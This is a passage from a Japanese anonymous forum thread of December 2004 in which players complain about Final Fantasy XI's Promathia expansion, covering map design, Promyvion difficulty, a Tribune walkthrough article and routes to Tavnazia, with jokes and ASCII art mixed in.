145 :既にその名前は使われています:04/12/02 11:39:15 ID:QeyqEuyk
>>143
だよな。
地図手にはいるのは、一般人(商人クラス)が出いるするとこまでで、 <購入
迷宮クラスは、オートマッピング。
そんな感じだと、雰囲気あっていいよな。楽だし。

146 :既にその名前は使われています:04/12/02 11:40:01 ID:n0/vkXJD
ユタンガやヨアトルを一からマッピングしろと言うのかorz

147 :既にその名前は使われています:04/12/02 11:47:47 ID:QeyqEuyk
フィールドはいいんでないの? 地図購入で。 <ユッタンガー、ヨアトル。
今、宝箱から入手するタイプのものをオートマッピング式にかえてくれたらいーかんじ。

…ただ、個人的にはユタンガとヨアトルくらいは走破してもいいんじゃまいかと思うぞ。
チョコボつかえるんだし。

148 :既にその名前は使われています:04/12/02 11:48:52 ID:Yn4Z5uow
>>143
マッピングしきれないってのがな、ちょっとw
無駄な地形多いから無駄にマップ多いしw

149 :既にその名前は使われています:04/12/02 11:50:44 ID:Yn4Z5uow
>>147
最初はチョコボ無かったんだが・・・・ orz

150 :既にその名前は使われています:04/12/02 11:58:24 ID:QeyqEuyk
>>149
いやまあ・・そこは個人によって「大変さ≒やりがい」係数がちがうから、なんともだね。

個人的にはと、ことわった上で妄想だけども、
最初チョコボなかったマゾ仕様時代に、歩いて踏破、フルマッピングに燃えるのも楽しい気がす。
冒険者っぽくはあるなあと。

151 :既にその名前は使われています:04/12/02 12:00:37 ID:Yn4Z5uow
まあ、個人差っつーか価値観の問題か。

とりあえずマップ無しでも開けばpos分かるし、<pos>も有効なのが救い。
結構知らない人多いけどナーw

152 :既にその名前は使われています:04/12/02 12:03:45 ID:zOAKP8Kd
それだと1エリアが複数マップあるとき混乱するんだよ

153 :既にその名前は使われています:04/12/02 12:11:42 ID:+XmBDYhF
そう考えるとFFの冒険=戦闘だけだって思えてくるなぁ

154 :既にその名前は使われています:04/12/02 12:17:30 ID:QeyqEuyk
マップ情報ゲーム上で渡せるとかだとおもろいな。
マーカーのデータもあわせて。

/shout ユタンガのコンプリートマップデータ販売します〜噴水前にて(ry

みたいなシャウトきそーだけどw
そういうのの販売はいいよなぁ。


------
実際は、ネットで誰かがアップするから商品価値ないんだけどね。まあ妄想です。

155 :既にその名前は使われています:04/12/02 12:17:54 ID:JhegUO8j
ステータスに満腹度と喉の渇きを実装しました。
種族によって満腹度、渇きのMAX、減少量、環境適応度が違います。
これで世界は冒険に満ちるであろう。

156 :既にその名前は使われています:04/12/02 12:18:53 ID:QeyqEuyk
たるっこは、捕食者ですか?それとも(ry

157 :既にその名前は使われています:04/12/02 12:26:48 ID:laJVrQgG
>>154
それSWGにある。
waypointという座標情報をゲーム内で取引できる。

158 :既にその名前は使われています:04/12/02 12:39:02 ID:4m4j2dDL
>>157
UOもルーンに座標をマークして取引できるね。自分の店のルーンを配布とかな。
ROも記録した任意座標にポータルを開ける。街の付近に制限されるが手軽に使えるな。
FFは・・・世界の広さをタップリ味わってくれw

159 :(´ω`) ◆GfuFcT57D. :04/12/02 12:43:40 ID:LmcF4UL3
>>158
昔、拾ったルーンの場所に飛んでみたら
すっごく危険な場所に飛んでしまって
戻ることも出来ずに死んだことがありました。

荷物の回収も出来ませんでした。
(´・ω・`)

160 :既にその名前は使われています:04/12/02 12:55:10 ID:/Rn4SH6V
>>108
「ダンジョンの装備品ドロップ率を上げました」と言いながら、
実際はフィールドでドロップしなくしただけという前例があるからなw

今回のも、他の全てのミッションの難易度を引き上げることによって相対的に「簡単にする」って可能性は考えられるw


161 :既にその名前は使われています:04/12/02 13:02:21 ID:4m4j2dDL
>>159
FFにはそんな罠は存在しないから安心して遊べますよ。
自由度と危険はトレードオフだね。(´・ω・`)

162 :既にその名前は使われています:04/12/02 13:24:11 ID:3KfR9Yot
age

163 :既にその名前は使われています:04/12/02 13:24:40 ID:ctTDEfCR
流れ無視して
トリビューンに「プロミヴォン体験記」というのが載ってる。
表向きは体験記だが、中身は「公式攻略法」のような作り。
■eの頭の中では
■<クレクレジャップ●の間で難易度が騒がれてる、やってもないのに五月蝿い奴だ
■<攻略の流れをトリビューンで教える事でプロミヴォンの難易度が高い問題を回避した

なんだろうけど、分かってない、分かってないよ■eっ!
プロミヴォンの難易度は、時間が一致するバランスの良いPTを2PT集める難しさだからっ!
トリビューン内の構成も 『狩/忍、戦/忍、忍/戦、シ/忍、黒/白、白/黒』
うはwww超良編成wやっぱり前衛全員忍かサポ忍かよwww本当に忍無しでテストしたの??
しかもBC突入前に「毒薬、聖水必須、目薬も使え、アニマも使う、空蝉回して」とか言ってるしwww
やっぱりオール薬パワーかよwwww

こんな素晴らしいプロミヴォン、喪前等も行け。なっ?

164 :既にその名前は使われています:04/12/02 13:29:51 ID:3KfR9Yot
>>161
低レベルでヴァズに連れて行かれ、HP設定してしまうと絶対に戻れない、
逃げ場の無いMOBがお前たちを追い詰める

165 :既にその名前は使われています:04/12/02 13:30:36 ID:QOihpgVM
昔のトリビューンって、
ヴァナに住むNPCの視点で作られた新聞
って感じだったよな?
ジュノの特産品の消えたときとか、競売が拡張されたときとか。
で、PCがミッションで体験する世界の裏側については
NPCだから全く分からない。ジラ関係の記事とかね。

今のトリビューンはFFをしている現実のユーザーの視点になりすぎてる気がする。
プロミヴォン体験記なんかまさにそうでしょ。
特にプロMなんか、PC一人だけがストーリー進めてるような内容だし、
プロM体験記なんて記事は、■の一貫性のなさを表してるような気がするのだが・・・

166 :既にその名前は使われています:04/12/02 13:35:02 ID:LPKycD0Y
>>164
ヴァズってザルカバードの事?
HP設定ってどうやって?

167 :既にその名前は使われています:04/12/02 13:36:40 ID:laJVrQgG
>>166
どうやってって。。。
普通にHP設定してくれるNPCがいるじゃん。


168 :既にその名前は使われています:04/12/02 13:38:24 ID:GCAWO2H7
というか、あの公式HPはまったく機能してねぇーべ

169 :既にその名前は使われています:04/12/02 13:42:30 ID:QeyqEuyk
なんとなく、今、OPでHP設定できるのしらない人が結構いるような気がした。
待ち中のHPストーンのとこしかできないとおもってるんじゃないだろうか・・。

170 :既にその名前は使われています:04/12/02 13:43:47 ID:dp7msu7T
>>165
今回のトリビューンで毛色の違うのはプロ攻略だけじゃない?
>>163が言う通り、公式攻略法そのものだよね。
もっと、そもそもあの巨岩は何なのか?プロミヴォンとは?虚ろという現象とは?って事に触れて欲しかったね。

でも今回のトリビューンで人物名辞典だっけ?アレは結構好きだけどね
・・・・でも中途半端な終わり方だったよね。もっと続きが読みたかった。

171 :既にその名前は使われています:04/12/02 13:48:14 ID:LPKycD0Y
>>167
すまん、すっかり忘れてたwwwwww

でもバタリア方面から帰れるんじゃないかと言い訳してみるwwwwww

172 :既にその名前は使われています:04/12/02 13:49:04 ID:T8bfJ5HD
>>163
マジかよそれ!
流石■eだ………有り得ない。全然判って無いよ■e。

ジョブを選別することじゃなくて、他のジョブで立ち回れる戦略の
存在と、それでクリアすることの楽しさを書かないと駄目じゃん。
該当ジョブ以外は無視した良編成で、テンプレ通りならクリア出来ます。
ってアホか。阿呆過ぎる。2chから戦術コピペしてるだけじゃんか。
ますますジョブ選別が酷くなるような記事にしてどうする。マジ判らん。

173 :既にその名前は使われています:04/12/02 13:49:42 ID:QOihpgVM
>>170
確かに、プロミ以外の記事は昔の雰囲気に戻ってて良かったな。

しかし、ここ最近のトリビューンは特派員の
ごまかしたようなオナニー記事ばっかりな気がしてな。
特に前号、前々号は、ネタが絞れず表紙だけだったし、
ハロウィンの記事なんか、qあwせdrftgyふじこlp;@:「」 のパクリがあったりしてなw

174 :既にその名前は使われています:04/12/02 14:22:16 ID:IleZU/JV
もうなんか■て、全てにおいて”できない”とか”うまくいかない”んじゃなくて”やる気が無い”状態だよね

175 :既にその名前は使われています:04/12/02 14:23:14 ID:mUtfMmSR
低レベル参加不可能ディスク・プロマシアは大失敗3 じゃなくて
売れてないプロマシアは大失敗

176 :既にその名前は使われています:04/12/02 14:27:08 ID:dCwKvBKQ
>>163
これマジか…それじゃ前に豚が言ってた「空蝉無しで」って嘘じゃん。
レベル30初心者でもできます、嘘じゃん。
忍者取得クエやるのに、寄生でも無い限り30じゃ無理。
解ってたけど、宣伝文句嘘だったってことだわな。

戦モ、シ戦、モ戦、赤白、黒白、白黒とかいう編成なら
仮に薬パワーでも許したのに。
あんな馬鹿宣伝ぶちこんだなら、例え薬品漬けでも
ジョブだけは初期6ジョブ(サポも含)でクリアしてないと。

177 :既にその名前は使われています:04/12/02 14:28:26 ID:Rny1o8IH
>>163
マジひでえな。つかそんなモン載っけちまうって事は■eは何でプロマシアが
非難されてるのか理解してないって事か。。

178 :既にその名前は使われています:04/12/02 14:31:27 ID:S1G4ho7B
しかしすごいなここまでインターネッツ繋げられるだけのファイナルファンタジーに仕立てるとは、
これも和田シャッチョのなせる技か・・・・

最近、とある業種の間では■eはミニミニボラクルと言われているが、ホントやってることソックシね、

179 :既にその名前は使われています:04/12/02 14:38:40 ID:pQodPVf1
>飴と鞭の順番が往々にして逆で、馬鹿。
>先に鞭を打ってから飴を与えるなら分かるが、先に飴を与えてから慌てて鞭を打つような
>パッチが多く、そのたび先行した廃人だけに楽をさせて後続を苦しめるというパターンを
>繰り返しており、プレイ時間の差によって生まれる貧富の差をさらに拡大する結果を
>生んでいる。
>しかもこの姿勢が何度ミスをしても一向に直る気配がない。

       |
   \  __  /
   _ (m) _ピコーン
      |ミ|
   /  .`´  \
     ('A`) そうだ、諦めよう
     ノヽノヽ
       くく

180 :既にその名前は使われています:04/12/02 14:40:28 ID:UIbwLhEM
プロマシア実装前は、レベル制限エリア。
        ↓
「狩り場が増える!」
「レベル差のあるフレと、レベル上げパーティが組めるカモ!」

・・・で、フタをあけてみたら、
経験値しょぼっで、全然つかえなーい。
アイテムもロクなのなーい。
状態異常多くて、薬品多用、金かかるから、だれもいかなーい。
フレやLSが次々崩壊。

手前のエリアは、少人数、
BC前は、アラで経験値稼ぎができるエリアにしろや。
そしたら、ミッションクリアして次のエリアいく意義もでてくる。

181 :既にその名前は使われています:04/12/02 14:46:28 ID:+wT6Uygh
なに事も諦めが肝心

まだ■eに期待してる人がいることが驚愕


182 :既にその名前は使われています:04/12/02 14:49:43 ID:PYfLIuOp
ってかどこのどんな会社でもそういう部分はあるが■は他部署との連携、引継ぎ無さ過ぎ
まとめ役のプロデューサーのせいかね?
あとインタビューでなにを発言したかも覚えておけよ
無責任に発言するやつが悪いのかもしれんが

183 :既にその名前は使われています:04/12/02 14:50:05 ID:QeyqEuyk
昨日初めてプロミくりあしてタブナジアとやらにいったんですが…。
…プロミ通過して、タブナでたとこで、全滅しますた。
まあ、通過した人間が実LVで黒32狩人40のみだったわけなんですけどね。
そりゃしにますわな。とてつよいますし。

で、30制限ぬけた先がなんであんなことになってますか。
すくなくとも最初の拠点までは、ソロ30でどのジョブでも進めるようにしといてくださいよ。。
その先すすめないのは、LV足りないからってなっとくしますですよ。。

184 :既にその名前は使われています:04/12/02 14:52:55 ID:laJVrQgG
>>183
よく来たな。
ようこそ穴倉へヽ(´―`)ノ
ここがタブナジアだ。

185 :既にその名前は使われています:04/12/02 14:55:12 ID:E2E9DDym
プロミッション全て実装されたら買いなおすから、返品させてくれないかなー
今現在、自分には全く必要無いんだよね、プロマシア…

買いなおし約束するから、■e金返して、まじで……

186 :既にその名前は使われています:04/12/02 14:55:56 ID:mdFAYw57
一応、真後ろからバルクルムに帰れるんだが、まあ、罠だな。

やってることが、忍者、侍 クエを彷彿とさせるわけだがな

地下壕・・・うわ!ノーグと同じ臭いがする!くさっ!!

187 :既にその名前は使われています:04/12/02 14:56:13 ID:sSvCAKfI
低レベル参加化膿って売り込みだったの?
ソースは?

188 :既にその名前は使われています:04/12/02 14:57:34 ID:EJ86Fn74
>>183
逆に進めばバルクルムにでるよw


189 :既にその名前は使われています:04/12/02 14:57:59 ID:bM1m/OTh
>>183
一応Lv20以下でジュノまで目指すのと大して変らない難易度だよ。
道知ってればインスニいらずで避けて通れるくらいの道のり。
インビジor遁術orパウダーありならもっと楽。

薬品持ってねーyp!てなら
プロミBCクリアした直後のワープポイントなら、後ろの穴いきゃ
バルクルム砂丘に戻れる。
噛み付くほどのクソってほどのバランス、はまりの罠じゃない。

190 :既にその名前は使われています:04/12/02 14:59:22 ID:QeyqEuyk
戻れるたのか。。orz。

てゆうか、今は次はあの場所にどうやったらいけるのかさっぱりわからなくて悩み中。

正確には、きっと【ネットでしらべたりすれば】すぐわかるとおもうけど、
あそこで死んだらまたあの場所にもどる方法わからないつくりになってるのが信じられない。。

191 :既にその名前は使われています:04/12/02 15:01:31 ID:mdFAYw57
まあ、場所を変えればクフィムにも出れるしな。
まあなんだ、注意しとけと。

ただ、なんだ穴倉いってもなにもおもしろいことないぞ。

192 :既にその名前は使われています:04/12/02 15:02:06 ID:+wT6Uygh
>>189
そうだね。Lv75でとてとての敵がいきなり絡んでくるわけじゃないしね

193 :既にその名前は使われています:04/12/02 15:02:07 ID:dp7msu7T
>>186,188
ソレは解決になってないよ〜な(´ω`)

194 :既にその名前は使われています:04/12/02 15:03:08 ID:mdFAYw57
>>190
気持ちはわかる、毒の残りで出たとたんにシボンヌしててんぱったことあるから。

195 :既にその名前は使われています:04/12/02 15:03:12 ID:PYfLIuOp
今の時点でメイン60もない奴の策敵具合はクソ
ってか上下てPTメンをタゲったりもできない、マップで確認できない
技術以前の問題のやつ多し
Ctrl+Rで返信もしらずにやってたり

196 :既にその名前は使われています:04/12/02 15:03:15 ID:nxgmo+oa
プロマシアM出遅れて今じゃシャウトすらない田舎鯖・・・
シャウトしても集まらない・・・

       |
   \  __  /
   _ (m) _ピコーン
      |ミ|
   /  .`´  \
     ('A`) そうだ、諦めよう
     ノヽノヽ
       くく

197 :既にその名前は使われています:04/12/02 15:05:51 ID:mdFAYw57
>>193
不親切な作りなのは明らかで、あの虚ろなワープポイント中から河豚が
「まあいったん帰れや、ギルツカエー、迷えーー、迷えー」 と言ってる声が聞えてきそうよ。

198 :既にその名前は使われています:04/12/02 15:06:19 ID:QeyqEuyk
>>194
それもきっついすね・・。

>>189
実際はそうなんだけどね。はまり罠ってもんじゃないと思う。
しかし、ことごとく不親切なつくりだなおぃぃってとこがな。。

199 :既にその名前は使われています:04/12/02 15:07:44 ID:QeyqEuyk
…ちなみに、クフィムからワープできることは、悲しいかな知ってしまってるんですが、
まさに、あのプロクリアした直後にワープしたところにいける方法ってあるんですか?

200 :既にその名前は使われています:04/12/02 15:10:20 ID:waaDzoJb
なんで普通に洞窟とか通ってダブナジアに行けないの?
その洞窟に危険がいっぱいってのなら解るんだけど…

201 :既にその名前は使われています:04/12/02 15:11:49 ID:BN5l3iMB
むしろ、ネタバレを嫌って情報をなるべく入れない人があのシュチュエーションで
あの場所で、あのムービーで、あのミッション内容だとするとテンパッテ、
そのままいっちゃうかもな。
ただ虚ろに飛び込むなんて説明だけじゃ、どんな罠がまってるかわからずに
進んじゃうよなーー、だってあの糞プロミの後だぜ、知らなきゃ躊躇するって。

202 :既にその名前は使われています:04/12/02 15:11:50 ID:FXYhVW53
今日の運勢
  大凶                吉             大吉
  |llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|llll|
 ○                          
 ●                      
 □      
 ■            
 ☆         
 ★   
 `                  
 d     
 b               
 j                             
遊び方・・・どれか一つ選らんでダブルクリック!



203 :既にその名前は使われています:04/12/02 15:12:03 ID:YsXXz8tz
>200
後付設定だからワープして飛ばすのがてっとりばやい

204 :既にその名前は使われています:04/12/02 15:13:34 ID:QeyqEuyk
>>201
まさにそういう遊び方がすきなので、迷わずすすみましたさ。
で、まあ死んじゃうのは新大陸冒険なんでしょうがないとして、
死んだあと、どーしたらいいのか、途方にくれるのがなんともはや。

今杞憂してるのは、>>199
別とこワープだと、もうあの抜けた先から拠点をめざす楽しみはあじわえないのかぁ・・と。

205 :既にその名前は使われています:04/12/02 15:16:08 ID:BN5l3iMB
バルクルムのマップのどこか忘れたけど、そこからいつでもいけるよ。

タブナジアに入るにはクフィムかバルクルムの二箇所。
クフィムはミザレオに、バルクルムはルフェーゼ野にでるって感じだったっけ?
もう逝ってもないんで忘れてしもた。

206 :既にその名前は使われています:04/12/02 15:16:27 ID:bM1m/OTh
>>204
砂丘の黄金砂のポイントがある海岸。
その砂の船の反対側に洞窟があって、そこから該当の
クリア直後のワープの辺りに出れる。

207 :既にその名前は使われています:04/12/02 15:17:49 ID:WnqyAt0S
ttp://www.jp.playstation.com/psworld/game/interview/ffp.html

208 :既にその名前は使われています:04/12/02 15:17:54 ID:oeb4bcur
タブナジアにもやっと補給クエが出来て交通アクセスが便利に、
タブナジアもレベルあげの狩り場にもなります、とか寝言こいてるんだろうしなぁ。

毎回毎回、全員が支配国の奴でPT組まなきゃならない訳か。すげぇ発想だよな。

万年最下位のバス国民なんかは移籍しろってか?

209 :既にその名前は使われています:04/12/02 15:25:10 ID:QeyqEuyk
>>205
おおっ、いけるのか。それを聞いて安心した。
バルクルムから再チャレンジしてみよう。

ありがとう。

…てゆう情報が、ストーリ的な理由づけがあった上で、
ゲームの中で手にはいるようになってたら、のめりこめるのになぁ。と、これは蛇足。

210 :既にその名前は使われています:04/12/02 15:26:21 ID:QeyqEuyk
>>206
おおっ詳しく。
隠し海岸の、ジラエリアといく位置とおなじような配置ですな。
ありがとう。

211 :既にその名前は使われています:04/12/02 15:28:24 ID:Avct+b0O
>>208
糞増したディスクには関係ないが、バスの低迷っぷりも酷いよな。
バスが上位でも全くメリットが無いってのが大問題だろ。
三国が拮抗しててリージョン争いやってるってのが設定だと思うんだが、
実際には多くの鯖でバスが最下位固定でサンドVSウィンになってるw

OPテレポで狩り場まで移動しるってことになると、全PCが1国に集結
しちまった方が便利なわけで、そうなるとコンクェとか全く無意味にwww

212 :既にその名前は使われています:04/12/02 15:28:58 ID:4WD90DPI
ジュノの天昌堂から船でいけないのがなぁ
ミッション進めると、行けるようになるんだっけ?

213 :既にその名前は使われています:04/12/02 15:30:32 ID:KR9o3CHu
>>208
あれ思ったんだが他国支配の時に使うと4倍の額取られるんだよな。
いくらなんでも高すぎないか?
2倍くらいでいいと思うんだが?

214 :既にその名前は使われています:04/12/02 15:31:37 ID:waaDzoJb
■<船ですwwwww飛空挺では無いんでよろwwwwwww

215 :既にその名前は使われています:04/12/02 15:34:57 ID:kCG523QZ
>>134
いや、その時から好物になるんだよ。
もちろん、脳内好きなものランキングでは低い方かも知れないけど。

216 :既にその名前は使われています:04/12/02 15:35:18 ID:waaDzoJb
高レベル高ランクのキャラは自国にいるとメリットが出るように何か
出来ないもんかね?収納家具だけなんてばかかと…
ミッション・クエストの募集が自国にいてもすぐ解るゲーム内掲示板
とか設置してさ…無理なの?

217 :既にその名前は使われています:04/12/02 15:39:37 ID:QOihpgVM
>>215
亀レス多すぎだぞ!w

218 :既にその名前は使われています:04/12/02 15:40:25 ID:BN5l3iMB
コンクエストの仕様を根本的に見直すしかないが、やらないだろ。
遠征軍、バリスタ、ガリスン・・・どれ見てもガッカリ製造機でしかないし。

219 :既にその名前は使われています:04/12/02 15:40:40 ID:QeyqEuyk
>>216
いやまあ、つーか、世界感的なところから「冒険者」の需要がはっきりしてないからオワットル。
所属を強いられる割に、所属がはっきりしている外部用兵なのかというとそうでもないし、といって軍属でも官属でもない。
ものすっごいちゅうぶらりんな立場。だのに、大量にあふれかえってる。
しかし、どうやって生計立ててるかっていう描写もない。

今のプレイヤーは、冒険者って肩書きながら実利はトラジャーハントだったり、
生産だったり、トレーディングだったり…副職もたないと生計なりたたんのよね。
まあ、ぶっちゃけ副職がメインになっちゃってるんだけど。

その中で、国LVのミッションに意味もたせようって無理あるでしょ・・。

220 :既にその名前は使われています:04/12/02 15:42:35 ID:kCG523QZ
>>217
いや、張り付いてられなくて(´д`;)

221 :既にその名前は使われています:04/12/02 15:43:33 ID:eowpP89E
速報
2004/11/18 19:13 更新

スクエニ、「FFXI」好調で経常益3.2倍に

ttp://www.itmedia.co.jp/news/articles/0411/18/news081.html

222 :既にその名前は使われています:04/12/02 15:47:30 ID:BN5l3iMB
ミニミニボラクルがなにか言ってるぜ、フハーハハハ

223 :既にその名前は使われています:04/12/02 15:50:39 ID:cqxDYhjI
>>221
和田シャッチョさんの愛読書
ダレルハフ著 『統計でウソをつく法』

224 :既にその名前は使われています:04/12/02 15:54:20 ID:bM1m/OTh
>>223
計でウソをつく法―数式を使わない統計学入門 ブルーバックス 120
ダレル・ハフ (著), 高木 秀玄 (翻訳)

この本を買った人はこんな本も買っています
「社会調査」のウソ―リサーチ・リテラシーのすすめ文春新書 谷岡 一郎 (著)
統計はこうしてウソをつく―だまされないための統計学入門 ジョエル ベスト (著), その他
データ分析 はじめの一歩―数値情報から何を読みとるか?ブルーバックス 清水 誠 (著)
詭弁の話術―即応する頭の回転角川文庫 阿刀田 高 (著)
推測統計 はじめの一歩―部分から全体像をいかに求めるか?ブルーバックス 清水 誠 (著)

詭弁の話術www
「ユーザーがパッチに慣れていない」

225 :既にその名前は使われています:04/12/02 15:58:21 ID:lHnCbjB6
>>223-224
ワロタ、クズウェア理論ばっかりですねwww

田中Pは和田シャッチョの操り人形ってことか・・・・
FFのウンコの中の人はやっぱり和田シャッチョか

226 :既にその名前は使われています:04/12/02 16:02:02 ID:Xw4Q9Dr/
■eさん
ユーザーがパッチに慣れていないのはわかったから
そろそろMMOに慣れてくださいよ(ノ∀`)

227 :既にその名前は使われています:04/12/02 16:03:41 ID:QeyqEuyk
てゆうか、MMOのパッチには慣れられても、
■のだすパッチにだけは慣れられねぇ。。いつ食らっても堪えるぜ。。

228 :既にその名前は使われています:04/12/02 16:07:26 ID:3aeRYsMW
アンチが何を言おうとFF11は大成功なのは常識

229 :既にその名前は使われています:04/12/02 16:07:30 ID:fsFOU4YA
トリビューンのプロミ記事な。
一見寄せ集めの滅茶苦茶なPTに見えて、前衛全員サポ忍。
道中リンクしまくりでヘタレな部分を見せ、最後に壊滅…と見せかけ
他PTに助けられるという都合のよさ。
あたかも1PTでBCまで行けるものと錯覚させている。
しかも、BC用に薬品完備な上にアニマも2個も所持。

230 :既にその名前は使われています:04/12/02 16:09:33 ID:Ssp0/wPN
煽りに反応する気力も無いほど
ヴァナから活気が失われています

231 :既にその名前は使われています:04/12/02 16:11:15 ID:waaDzoJb
今の盆に他PT?
ありえない!ありえない!

232 :既にその名前は使われています:04/12/02 16:12:55 ID:QeyqEuyk
>>231
それはまあ、ありえないとも言い切れないのではないか…とは思うが、
計算にいれられるもんじゃないね。

233 :既にその名前は使われています:04/12/02 16:14:53 ID:lHnCbjB6
>>228
いつまでたってもROの”成功”は超えられないようだがな(プゲラ

>>229
トリビューンねもうアフォくさくて見てねーや。あいかわらずのようだが

234 :既にその名前は使われています:04/12/02 16:16:57 ID:fsFOU4YA
ぶっちゃけあれは作り話だと思うね。
後衛が白と黒しかいないのに4,5匹もaddして無事なわけが無い。
まぁその後ワープ玉の回りの雑魚がaddして壊滅…って感じで書いてあるが。

235 :既にその名前は使われています:04/12/02 16:19:22 ID:r710QQEy
>>234
テスト鯖だとAF着て歩き回れるんだから、レベル制限がかかってなかったとか・・・

236 :既にその名前は使われています:04/12/02 16:28:28 ID:T8bfJ5HD
>>209,>>219
いやまったく、その疑問は自然だと思うぞ。
とりあえずトラジャーハントで大笑いした。

237 :既にその名前は使われています:04/12/02 16:30:16 ID:3aeRYsMW
>>233
FF11が成功って話なのに"あっちのほうがより成功だ"って返し方が笑える。

238 :既にその名前は使われています:04/12/02 16:31:32 ID:Ssp0/wPN
比べられたのが悔しかった
煽れば何でも良かった

239 :既にその名前は使われています:04/12/02 16:34:35 ID:Avct+b0O
今は燃料投下している

とか付けろよw

240 :既にその名前は使われています:04/12/02 16:36:33 ID:QeyqEuyk
うまいなw

241 :既にその名前は使われています:04/12/02 16:36:51 ID:QeyqEuyk
>>236
ぐぁぁ。やっちまった。。orz

242 :既にその名前は使われています:04/12/02 16:37:27 ID:54zQLN5o
>>174
遅レスだけどそのとおり

テスト鯖なんてPS2とPC両方実装無理wwwとか言ってたけど


信長はちゃんとテスト鯖つくっちゃいました

243 :既にその名前は使われています:04/12/02 16:40:12 ID:dCwKvBKQ
>>241
え?間違いだったの?てっきり虎牙狩りのプレイヤー
のことかと思ってたよ<トラジャーハンター

244 :既にその名前は使われています:04/12/02 16:40:56 ID:fsFOU4YA
○ラジャーハンター

245 :既にその名前は使われています:04/12/02 16:41:32 ID:waaDzoJb
漏れもファングとかけてるもんだと… ('A`;)

246 :既にその名前は使われています:04/12/02 16:41:52 ID:T8bfJ5HD
>>241
狙ってやったんじゃあ無かったんかい!!!

247 :既にその名前は使われています:04/12/02 16:42:16 ID:QeyqEuyk
だ・・だまっていれば、ネタになったのか・・しもた。

248 :既にその名前は使われています:04/12/02 16:42:52 ID:QOihpgVM
>>247
可愛いヤツめw

249 :既にその名前は使われています:04/12/02 16:44:59 ID:dCwKvBKQ
>>247
( ´∀`)σ)Д`)>>247

250 :既にその名前は使われています:04/12/02 16:47:20 ID:QeyqEuyk
orz。

ちょっと氷河に虎かりに逝ってきます。黒30で。

251 :既にその名前は使われています:04/12/02 16:47:28 ID:JhegUO8j
ブラジャーハンターのデューン様が250ゲットだ!
          、
.          | ヽ +
.          |  |
    γ''⌒ヽ,  |┌
    /=□□=( )
   (/リル゚∀゚)/ /
    (´ )o)==o)/
    〈 〈〉iii〉〉ii〉
    (_ん/ ヽ;''ヽ
     / /゙゙゙ヽヽ
     (__)  (⌒)

252 :既にその名前は使われています:04/12/02 16:48:51 ID:JhegUO8j
orz


貼るスレ間違えたし最悪だ

253 :既にその名前は使われています:04/12/02 16:50:48 ID:QeyqEuyk
>>252
( ´∀`)σ)Д`)>>252

254 :既にその名前は使われています:04/12/02 16:54:28 ID:hyUxggj0
1PTでもいけなくはないだろうけど、厳しい。
特に3層目はヤバイ。

とてとてを狩るのは想定外だったはずなのに、とてとてだらけ。

255 :既にその名前は使われています:04/12/02 16:56:17 ID:WbmnuEib
今日の英語のテストで、
easy come easy go の意味を答えよって問題でたけど
田中のせいでよくわからなかった。

256 :既にその名前は使われています:04/12/02 17:03:40 ID:PVThjC1t
>>237
”接続ユーザー多さ”はたしかにROのほうが上だからな。
糞運営ぶりはドングリだが。なかなかの皮肉だと思ったよwww

257 :既にその名前は使われています:04/12/02 17:06:02 ID:54zQLN5o
>>254
プロミヴォンヴァズは1層目から
とてとてですよ

258 :既にその名前は使われています:04/12/02 17:06:28 ID:9BaSfVAF
>>255
答は「悪銭身につかず」だ。覚えておこう

259 :既にその名前は使われています:04/12/02 17:07:31 ID:bPo/64fO
>>255
外人PTの事だろ、すぐ入ってくるけどすぐ抜けちゃうし。

260 :シオン:04/12/02 17:09:33 ID:lJFNzr/x
>>251
プッ

261 :既にその名前は使われています:04/12/02 17:21:41 ID:hBugKhE+
>>259
俺の頭髪みたいだな…

262 :既にその名前は使われています:04/12/02 17:26:33 ID:9BaSfVAF
>>261
イ`

263 :既にその名前は使われています:04/12/02 17:27:32 ID:waaDzoJb
>>261
入ってくるのか…ヅ(ry…イ`…

264 :既にその名前は使われています:04/12/02 17:45:42 ID:6pbJ1A4I
修正って、応龍が飛んでる時に寝てないのに「寝た」って
表示されるのが「レジストした!」って表示されるようになるだけとかw

寝たか寝てないかわかりやすいから戦略が立てやすく、難易度を調整した!

みたいな・・・。

265 :既にその名前は使われています:04/12/02 17:50:24 ID:INiNaqKZ
>>256
まぁ両社とも統計学でのウソを駆使しながら
ドングリを続けていてほしい



266 :既にその名前は使われています:04/12/02 18:03:45 ID:JhegUO8j
>>260
給料100ラグの奴に笑われたくねえょ

267 :既にその名前は使われています:04/12/02 18:06:49 ID:7rjkp2ww
>>261
そうか、増毛って一度植毛すれば絶対抜けないものだと思ってた。

イキリョ

268 :既にその名前は使われています:04/12/02 18:37:32 ID:3KfR9Yot
あげとくよー

269 :既にその名前は使われています:04/12/02 20:06:53 ID:3KfR9Yot
くそう・・・あいつPOPしねぇなぁ

270 :既にその名前は使われています:04/12/02 20:12:14 ID:QeyqEuyk
>>269
呼ばなくていいよwwww

271 :既にその名前は使われています:04/12/02 20:22:47 ID:uGipT2lR
>>270
まぁそう言うなよw
このスレの名物なんだからw


272 :既にその名前は使われています:04/12/02 22:23:08 ID:d9hN4vFm
やっぱアンチスレには信者が必要だな

273 :既にその名前は使われています:04/12/02 22:36:07 ID:v9a4Hna8
>>220
もー哲学者は同類同士で理屈こねくりまわしててくれw。
アルキメデスだかの屁理屈で「ウサギは絶対亀を追い抜けないんです!」
ってのと同じ屁理屈じゃん。
もーレスしねーよーペンペン(AA略

274 :既にその名前は使われています:04/12/02 22:44:09 ID:myDf/Pjs
12月に修正される前に現時点でのデモプレイを見せて欲しいなぁ。
特に応龍戦、社内テストどんな風に行われたのか是非知りたい。
黒5赤1でスリプル→フリーズ×5→スリプル→フリーズ×5じゃないよね?

275 :既にその名前は使われています:04/12/02 23:42:40 ID:IzTm1tMx
レジも全く無しが前提なんだろうな。

276 :既にその名前は使われています:04/12/03 00:08:36 ID:JKqrDMTf
age

277 :既にその名前は使われています:04/12/03 01:03:39 ID:aTQymutT
ミッションのシャウトなんか全然なくなったねぇ
みんな終わってるのかな?
ヴァズが終わったところで都合があって放っておいたら
ミッションやる人いなくなってたよ
流れにのっていかないと厳しいね

278 :既にその名前は使われています:04/12/03 01:05:49 ID:nQKCL0VE
今のうちにモルツル貯めておけってこった
結局たいした修正じゃなくて、
薬品需要が上がると踏んでる
多分2日くらいで需要おちこむだろうが

279 :既にその名前は使われています:04/12/03 01:07:54 ID:FMadT1Z2
>>277
ためしに、明日の夜か、あさっての夜あたり、募集シャウトしてみな。
たぶん、あっちゅうまに集まるよ。

(といってもシャウトした以上うっちゃるわけにもいかんが)

